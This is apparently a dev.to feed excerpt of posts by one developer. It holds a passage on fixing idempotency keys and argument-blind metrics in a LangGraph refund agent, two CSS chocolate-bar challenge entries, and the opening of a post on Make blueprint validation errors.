    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ticket&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ticket_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tool&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;args&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="c1"&gt;# &amp;lt;- what the model typed
&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;call.args&lt;/code&gt; is raw model output. A language model asked for a $45.00 refund can write that amount in more than one way, and all of them are valid JSON that my schema happily accepts:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    4500  -&amp;gt;  action_id 1270c45d1612d5d1
  "4500"  -&amp;gt;  action_id 8f0f6363fea8adcf
  4500.0  -&amp;gt;  action_id b78a82d722dde95d

distinct idempotency keys for one identical $45.00 refund: 3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Three keys. Three refunds. Same customer, same invoice, same amount.&lt;/p&gt;

&lt;p&gt;If a queue retries a ticket, or a customer submits twice, or the same conversation is driven again for any of the boring reasons production does that, and the model spells the number differently on the second pass, my exactly-once guarantee quietly becomes at-least-once. On money.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why my tests were structurally incapable of finding it
&lt;/h2&gt;

&lt;p&gt;This is the part I keep thinking about.&lt;/p&gt;

&lt;p&gt;The test suite runs offline against a deterministic stand-in: a keyword classifier that, given the same ticket, emits byte-identical JSON every single time. That is a deliberate design choice and mostly a good one. It makes the suite fast, free, and reproducible, with no API key and no network.&lt;/p&gt;

&lt;p&gt;It also means the second delivery of a ticket always produced exactly the same string as the first. The suite could never observe the failure, because the only component capable of producing the failure had been replaced with one that cannot.&lt;/p&gt;

&lt;p&gt;My tests were not weak. They were blind by construction, in a way that green output cannot show you. Every assertion I had written was true. The thing I never asserted was that two &lt;em&gt;equivalent&lt;/em&gt; calls collapse to one key, because with a deterministic generator, equivalent and identical are the same word.&lt;/p&gt;

&lt;p&gt;The fix is one line of intent: derive the key from the arguments &lt;strong&gt;after&lt;/strong&gt; the tool's own schema has parsed them, not from whatever the model typed.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;validate_args&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;model_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;action_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ticket&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ticket_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tool&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;args&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;          &lt;span class="c1"&gt;# parsed, not typed
&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now &lt;code&gt;4500&lt;/code&gt;, &lt;code&gt;"4500"&lt;/code&gt;, &lt;code&gt;4500.0&lt;/code&gt;, &lt;code&gt;" 4500 "&lt;/code&gt; and &lt;code&gt;"+4500"&lt;/code&gt; all produce one key, while seven genuinely different refunds still produce seven. And there is a test that drives the same ticket twice with different spellings and asserts a single handler execution, so it stays fixed.&lt;/p&gt;
&lt;h2&gt;
  
  
  The second thing it broke: a metric that was measuring the wrong noun
&lt;/h2&gt;

&lt;p&gt;While it was in there, the same pass killed a number I had been quoting proudly.&lt;/p&gt;

&lt;p&gt;My report said &lt;code&gt;tool choice 21/22 correct (95.5%)&lt;/code&gt;. It compared the &lt;em&gt;name&lt;/em&gt; of the tool the model picked against the expected name. Nothing anywhere compared the arguments.&lt;/p&gt;

&lt;p&gt;So this ticket:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;We were charged $90.00 on INV-10032 but only $45.00 of that was valid. Refund the difference.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;with the model proposing &lt;code&gt;issue_refund(invoice_ref="INV-10032", amount_cents=9000)&lt;/code&gt; scored as &lt;strong&gt;perfectly correct&lt;/strong&gt;. Right tool, double the money. A version proposing $9,000 instead of $45 also scored perfectly correct.&lt;/p&gt;

&lt;p&gt;"Chose the right action" and "chose the right tool name" are not the same claim, and I had been publishing the second one under the first one's label.&lt;/p&gt;

&lt;p&gt;The fix added expected arguments to every fixture and a separate metric that counts them. Which is why my headline numbers got &lt;em&gt;worse&lt;/em&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;before&lt;/th&gt;
&lt;th&gt;after&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;routing accuracy&lt;/td&gt;
&lt;td&gt;92.0%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;90.2%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tool metric&lt;/td&gt;
&lt;td&gt;21/22 name only&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;21/23 counting arguments&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;in-doubt stops&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;24&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;crash boundaries swept&lt;/td&gt;
&lt;td&gt;176&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;208&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Nothing regressed. The measurements stopped flattering me. The in-doubt count tripled because the audit also found two windows inside the effect where a crash could land and my crash-point list did not know they existed, which meant a line in my report was true by accident rather than by design.&lt;/p&gt;
&lt;h2&gt;
  
  
  What the repo does now
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0gcxg04rt6izn7uk8oxn.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0gcxg04rt6izn7uk8oxn.gif" alt="The full run in 21 seconds: routing scored, an irreversible refund held at the human gate, and the effect count staying at one across a crash" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The whole thing in one pass. What follows is the same three acts, one at a time.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg9wplyjtxiuhbv3llqal.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg9wplyjtxiuhbv3llqal.png" alt="Routing measured against 51 labelled fixtures, and a parser that turns untrusted output into a named escalation instead of an exception" width="800" height="1414"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Routing is scored per branch with a confusion matrix, and the parser never raises: output it cannot trust becomes an escalation carrying one of nine named reasons, recorded in state.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqn3a6ad3h5ymm9elvvtv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqn3a6ad3h5ymm9elvvtv.png" alt="An irreversible refund held at the human gate, with must-stop and must-not-stop both measured" width="800" height="789"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Irreversible tools stop for a human, and the interrupt is measured in &lt;strong&gt;both&lt;/strong&gt; directions. Missing a required stop is scored at threshold zero, because there is no acceptable rate for shipping a refund nobody approved. Stopping when you did not need to is scored separately with a real budget, because approval fatigue is how a gate stops meaning anything: interrupt people often enough for nothing and they start clicking approve without reading.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4zygxufylxj60feae8ae.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4zygxufylxj60feae8ae.png" alt="The same run killed mid-effect and resumed: the handler execution count stays at one" width="800" height="663"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And the part that took the longest to get honest. The process can be killed at any of 208 points in a run and resumed from disk. 112 of the reachable boundaries come back byte-identical with the effect count unchanged. The other 24 land in a window that genuinely cannot be closed, between claiming the effect and recording its result, and there the system stops and says it does not know rather than guessing. A human reconciles it with the ledger in front of them.&lt;/p&gt;

&lt;p&gt;Zero duplicates. Zero mismatches. A CI gate fails the build when any of those numbers moves.&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;
        vinimabreu
      &lt;/a&gt; / &lt;a href="https://github.com/vinimabreu/langgraph-production" rel="noopener noreferrer"&gt;
        langgraph-production
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A LangGraph support agent with the reliability layer around it: routing measured against labelled fixtures, a human gate before irreversible tools, durable resume with exactly-once effects, and a CI gate that fails when a number moves.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;langgraph-production&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="https://github.com/vinimabreu/langgraph-production/actions/workflows/ci.yml" rel="noopener noreferrer"&gt;&lt;img src="https://github.com/vinimabreu/langgraph-production/actions/workflows/ci.yml/badge.svg" alt="CI"&gt;&lt;/a&gt;
&lt;a href="https://github.com/vinimabreu/langgraph-production/blob/main/pyproject.toml" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/120bed4ec9a0320556c08001e442cd21152627795aac866e8abb82a37c8cd5e7/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e3131253230253743253230332e3132253230253743253230332e3133253230253743253230332e31342d626c7565" alt="Python"&gt;&lt;/a&gt;
&lt;a href="https://github.com/vinimabreu/langgraph-production/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/f8df3091bbe1149f398a5369b2c39e896766f9f6efba3477c63e9b4aa940ef14/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d677265656e" alt="License: MIT"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A LangGraph agent with the reliability layer that decides whether it can ship.&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/langgraph-production/assets/langgraph-production.gif"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Flanggraph-production%2FHEAD%2Fassets%2Flanggraph-production.gif" alt="The routing scorecard, the human gate before an irreversible refund, and a crash that leaves the effect count at one"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Building the graph is the easy half. The half that decides whether it goes live
is everything around it: what happens when the process dies between two nodes
whether the refund gets paid twice on the way back up, whether an approval
somebody gave on Tuesday can authorise a different action on Thursday, and
whether anyone can say out loud how often the router is right.&lt;/p&gt;
&lt;p&gt;This repo answers those four questions with code and with numbers, on a support
desk for a fictional product. All data is synthetic.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The report this repo exists to produce&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Real output from &lt;code&gt;python -m langgraph_production.evaluation&lt;/code&gt; on this
repository, not an illustration:&lt;/p&gt;
&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;
&lt;pre class="notranslate"&gt;&lt;code&gt;========================================================================
SUPPORT GRAPH EVALUATION
========================================================================
  fixtures      answer 13, escalate 15, tool 23  (total 51)
ROUTING
  accuracy      46/51 = 90.2%
  macro F1      0.907
  tool choice   22/23 correct (95.7%) on&lt;/code&gt;&lt;/pre&gt;…&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/vinimabreu/langgraph-production" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  The takeaway I did not expect
&lt;/h2&gt;

&lt;p&gt;I went in expecting the audit to find sloppy corners. It found the opposite: my careful parts were fine, and the failure was hiding in the seam between two decisions that were each individually correct.&lt;/p&gt;

&lt;p&gt;Using a deterministic stand-in for tests: correct.&lt;br&gt;
Keying idempotency off the tool call: correct.&lt;/p&gt;

&lt;p&gt;Together they produce a system that is provably exactly-once against a generator that cannot vary, and at-least-once against the one you actually ship with.&lt;/p&gt;

&lt;p&gt;So the question I now ask about any test suite, including yours: &lt;strong&gt;what can this suite not observe, by construction?&lt;/strong&gt; Not what did I forget to assert. What has been designed out of the room. If you replace the non-deterministic component with a deterministic one for testing, every bug that only exists because of non-determinism is invisible to you, and it will stay invisible while the dashboard stays green.&lt;/p&gt;

&lt;p&gt;Green tests are evidence about the world you built for them. It is worth being explicit about how much of the real one you left out.&lt;/p&gt;

&lt;p&gt;Code, numbers, and the harness that produces them: &lt;a href="https://github.com/vinimabreu/langgraph-production" rel="noopener noreferrer"&gt;github.com/vinimabreu/langgraph-production&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Vinicius Pereira&lt;br&gt;
vinimabreu.dev · github.com/vinimabreu&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>testing</category>
      <category>langchain</category>
    </item>
    <item>
      <title>The ChocoDEV Signature Bar: one chocolate bar, zero images</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Sun, 02 Aug 2026 22:08:15 +0000</pubDate>
      <link>https://dev.to/vinimabreu/the-chocodev-signature-bar-one-chocolate-bar-zero-images-19l7</link>
      <guid>https://dev.to/vinimabreu/the-chocodev-signature-bar-one-chocolate-bar-zero-images-19l7</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for &lt;a href="https://dev.to/challenges/frontend-2026-07-29"&gt;Frontend Challenge: Comfort Food Edition&lt;/a&gt;, CSS Art.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Inspiration
&lt;/h2&gt;

&lt;p&gt;Yesterday I submitted a landing page for ChocoDEV, a chocolate brand that exists only in CSS. A brand needs a product shot, and this brand has a rule: no images, ever. So the product shot had to be drawn in the only medium the brand allows.&lt;/p&gt;

&lt;p&gt;It is one chocolate bar with a bite taken out of it, because a perfect untouched bar is a lie. Nobody photographs their comfort food before tasting it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;Live: &lt;a href="https://vinimabreu.dev/chocodev/bar" rel="noopener noreferrer"&gt;vinimabreu.dev/chocodev/bar&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The fallen chunk reacts if you click it. That is the entire JavaScript budget, three lines, and the piece is complete without them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9eyq4xsq2qu8ccmj44rx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9eyq4xsq2qu8ccmj44rx.png" alt="The ChocoDEV Signature Bar, a CSS chocolate bar with a bite taken out" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Journey
&lt;/h2&gt;

&lt;p&gt;Every chunk is a molded facet: four trapezoid faces built from angular gradients, so the light lands differently on each slope, the way a real mold presses chocolate. The letters are not printed on top, they are pressed in, one dark shadow above and one thin highlight below, and that two-shadow trick is the whole illusion of depth.&lt;/p&gt;

&lt;p&gt;The bite was the hard part. A clean clip-path zigzag looked like scissors had done it, so the exposed edge got fracture facets in lighter matte browns and a few crumbs, because chocolate never breaks politely.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu02t5g92ri2125u6y60x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu02t5g92ri2125u6y60x.png" alt="Close up of the bite edge, fracture facets and crumbs, with the fallen S chunk" width="800" height="686"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is exactly one animation, a slow sheen that crosses the bar like it is turning under a studio light, and it sits behind a prefers-reduced-motion guard. When your system asks for stillness, the bar just stands there looking edible.&lt;/p&gt;

&lt;p&gt;Everything is gradients, box-shadow, border-radius and clip-path. Open devtools, it is chocolate all the way down.&lt;/p&gt;

</description>
      <category>frontendchallenge</category>
      <category>devchallenge</category>
      <category>css</category>
      <category>showdev</category>
    </item>
    <item>
      <title>ChocoDEV: a chocolate bar you can eat, in pure CSS</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Sun, 02 Aug 2026 21:22:19 +0000</pubDate>
      <link>https://dev.to/vinimabreu/chocodev-a-chocolate-bar-you-can-eat-in-pure-css-dga</link>
      <guid>https://dev.to/vinimabreu/chocodev-a-chocolate-bar-you-can-eat-in-pure-css-dga</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for &lt;a href="https://dev.to/challenges/frontend-2026-07-29"&gt;Frontend Challenge: Comfort Food Edition&lt;/a&gt;, Perfect Landing.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;ChocoDEV is a landing page for a chocolate brand that does not exist, and I am fine with that. Chocolate is my comfort food, and it turns out it is also South America's: the oldest traces of cacao were found in the upper Amazon, which as a Brazilian I consider a home win.&lt;/p&gt;

&lt;p&gt;The page has one rule: zero images. No PNGs, no SVGs, no background URLs. Every square of chocolate, every drip, every bevel is gradients, box-shadow and keyframes. The footer makes the claim and devtools can check it, which is my favorite kind of claim.&lt;/p&gt;

&lt;p&gt;The centerpiece is a chocolate bar you can actually eat. Each chunk is a button, each bite updates a counter, and when the bar is gone you get to bake a new one. There is also an exploded anatomy view of a single square, a scroll progress bar, and a testimonials section where four honest people confess things about chocolate that most of us only think.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;Live demo: &lt;a href="https://vinimabreu.dev/chocodev" rel="noopener noreferrer"&gt;vinimabreu.dev/chocodev&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Click a chunk of the bar. The counter is watching.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqpqc8a8fsn8wpc6wsust.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqpqc8a8fsn8wpc6wsust.png" alt="The ChocoDEV bar with three chunks eaten and a bake a new bar button" width="800" height="555"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Journey
&lt;/h2&gt;

&lt;p&gt;The zero images rule sounded like a gimmick and turned into the whole education. A believable chocolate square needs light coming from somewhere, and without images that means layered box-shadows: an inset highlight on top, an inset shadow at the bottom, a drop shadow below. Once the light direction was consistent, everything suddenly looked edible. Before that it looked like brown buttons.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffheiztkgq1ukg89kx5i4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffheiztkgq1ukg89kx5i4.png" alt="Exploded anatomy view of a chocolate square, five labeled layers" width="800" height="550"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The part I am most proud of is not visible. The page respects prefers-reduced-motion in three places: the CSS animations, the stat counters that jump straight to their final value instead of counting up, and the parallax that simply declines to run. Every interactive element is a real button with a name a screen reader can speak, the document has a language and a title, and the menu wraps instead of clipping on narrow screens. Accessibility is a judging criterion in this challenge, and I think it should be the first one: a landing page that only works for some visitors is a poster.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl9e8a3awgyhlonuo7x4z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl9e8a3awgyhlonuo7x4z.png" alt="Four flavor cards: Amazonia 70, Milk and Sea Salt 55, Caramel Crunch 64, Midnight Compile 100" width="800" height="538"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What I would do next: a dark and milk chocolate theme toggle, and sound on the snap. Probably a mistake. Most good ideas about chocolate are.&lt;/p&gt;

&lt;p&gt;Thanks for reading, and go eat something that makes you feel at home.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>frontendchallenge</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Everything that broke when I imported hand-written Make blueprints into a real workspace</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Tue, 28 Jul 2026 17:52:42 +0000</pubDate>
      <link>https://dev.to/vinimabreu/everything-that-broke-when-i-imported-hand-written-make-blueprints-into-a-real-workspace-2k7a</link>
      <guid>https://dev.to/vinimabreu/everything-that-broke-when-i-imported-hand-written-make-blueprints-into-a-real-workspace-2k7a</guid>
      <description>&lt;p&gt;The import dialog took my JSON without a single complaint. The first execution died on module 2 with &lt;code&gt;BundleValidationError: Validation failed for 7 parameter(s).&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;That gap between "the import accepted it" and "the runtime will actually run it" is where I spent most of a day this week, and almost none of it is documented anywhere I could find. So here it is, in the order it broke.&lt;/p&gt;

&lt;p&gt;Context, briefly. I write Make (ex-Integromat) scenarios as blueprint JSON by hand instead of assembling them in the canvas, because I want them in git, diffable, reviewable. The scenarios route an order flow between an ERP and a 3PL. Every decision that can go wrong (is this order complete, which carrier code does a typo'd shipping method mean, is this event a duplicate) lives in a typed FastAPI service with 83 pytest tests, and every response carries the same envelope: &lt;code&gt;decision&lt;/code&gt; for the routers to branch on, &lt;code&gt;reason&lt;/code&gt; for a human, &lt;code&gt;evidence&lt;/code&gt; for the audit trail. The scenario routes; the service decides. To test the whole thing for real, I imported the blueprints into a live Make workspace and exposed the local service through a cloudflared tunnel.&lt;/p&gt;

&lt;p&gt;Then the workspace started grading my homework.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Import is a parser, not a validator
&lt;/h2&gt;

&lt;p&gt;The blueprints were clean JSON. Modules, routes, mappings, all structurally valid, and the import agreed. The first run did not: &lt;code&gt;Validation failed for 7 parameter(s)&lt;/code&gt;, naming seven fields I had never typed in my life, all missing from the HTTP module's mapper: &lt;code&gt;serializeUrl&lt;/code&gt;, &lt;code&gt;shareCookies&lt;/code&gt;, &lt;code&gt;rejectUnauthorized&lt;/code&gt;, &lt;code&gt;followRedirect&lt;/code&gt;, &lt;code&gt;useQuerystring&lt;/code&gt;, &lt;code&gt;gzip&lt;/code&gt;, &lt;code&gt;useMtls&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;These are the checkboxes the canvas quietly fills in when you drop an HTTP module onto a scenario. Write the module by hand and nobody fills them, and import does not care, because import only checks that the JSON parses into modules and routes. The module's own contract is enforced at execution time.&lt;/p&gt;

&lt;p&gt;Fine. I added the seven and ran again.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Validation failed for 1 parameter(s)&lt;/code&gt;: &lt;code&gt;followAllRedirects&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The first error listed seven missing parameters when there were eight. Runtime validation happens in layers, and each run only surfaces the layer it died in. Budget one execution per layer of complaints; the error list in front of you is not the whole bill.&lt;/p&gt;

&lt;p&gt;Here is the mapper that finally runs, straight from the blueprint:&lt;br&gt;
&lt;/p&gt;

